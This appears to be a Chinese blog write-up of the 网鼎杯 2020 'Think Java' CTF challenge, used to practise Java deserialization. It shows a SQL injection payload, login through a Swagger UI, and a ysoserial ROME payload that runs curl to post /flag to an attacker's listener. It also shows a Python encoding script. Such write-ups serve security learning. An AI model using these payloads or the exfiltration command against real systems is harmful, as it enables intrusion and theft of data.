MENU

[网鼎杯 2020 朱雀组]Think Java

March 9, 2022 • Read: 413 • CTF

最近学Java反序列化拿这题练练手

打开题目,下载源码,发现Test.class

@RequestMapping({"/common/test"})
public class Test {
    public Test() {
    }

    @PostMapping({"/sqlDict"})
    @Access
    @ApiOperation("为了开发方便对应数据库字典查询")
    public ResponseResult sqlDict(String dbName) throws IOException {
        List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
        return ResponseResult.e(ResponseCode.OK, tables);
    }
}

这里可以发现/common/test/sqlDict,调用了SqlDict类中的getTableData函数,这里存在sql注入

POST访问/common/test/sqlDict

http://41eb3b43-0e0c-4579-a3da-0c5bd2f02e9a.node4.buuoj.cn:81/common/test/sqlDict

data:
dbName=myapp?a=' union select 1#

1.png

可以发现注入成功,下面我们继续获取账号密码

2.jpg

获得了账号密码,但是这个有什么用呢?这里回到第一步的Test.class

import io.swagger.annotations.ApiOperation;

导入了swagger API,通过查阅资料发现存在 swagger-ui.html文档

3.jpg

发现存在登录和获取当前用户信息功能,这里我们用刚刚获取的name、pwd进行登录

4.jpg

显示登陆成功,这里可以注意到回显data里面的 rO0A,这个开头表示Java反序列化数据经过base64加密后的开头形式,由此可判断这是个序列化数据,那么如何使用这个序列化数据呢?可以注意上一步有个获取当前用户信息

5.jpg

发现序列化数据通过这个接口能够被反序列化为原数据,所以这个入口点就可以进行java反序列化攻击了。通过Burp插件Deserialization Scanner识别一下这个序列化数据,

6.jpg

再用ysoserial生成payload

java -jar ysoserial.jar ROME "curl http://ip:port/ -d @/flag" > Test.bin

再将Test.bin中的数据进行base64加密

import base64

with open("Test.bin","rb") as f:
    with open("payload.txt","wt",encoding="utf-8") as f2:
         cc = base64.urlsafe_b64encode(f.read()).decode()
         f2.write(cc)

将获取的payload.txt发送到服务器,并监听端口

7.jpg

Last Modified: March 17, 2022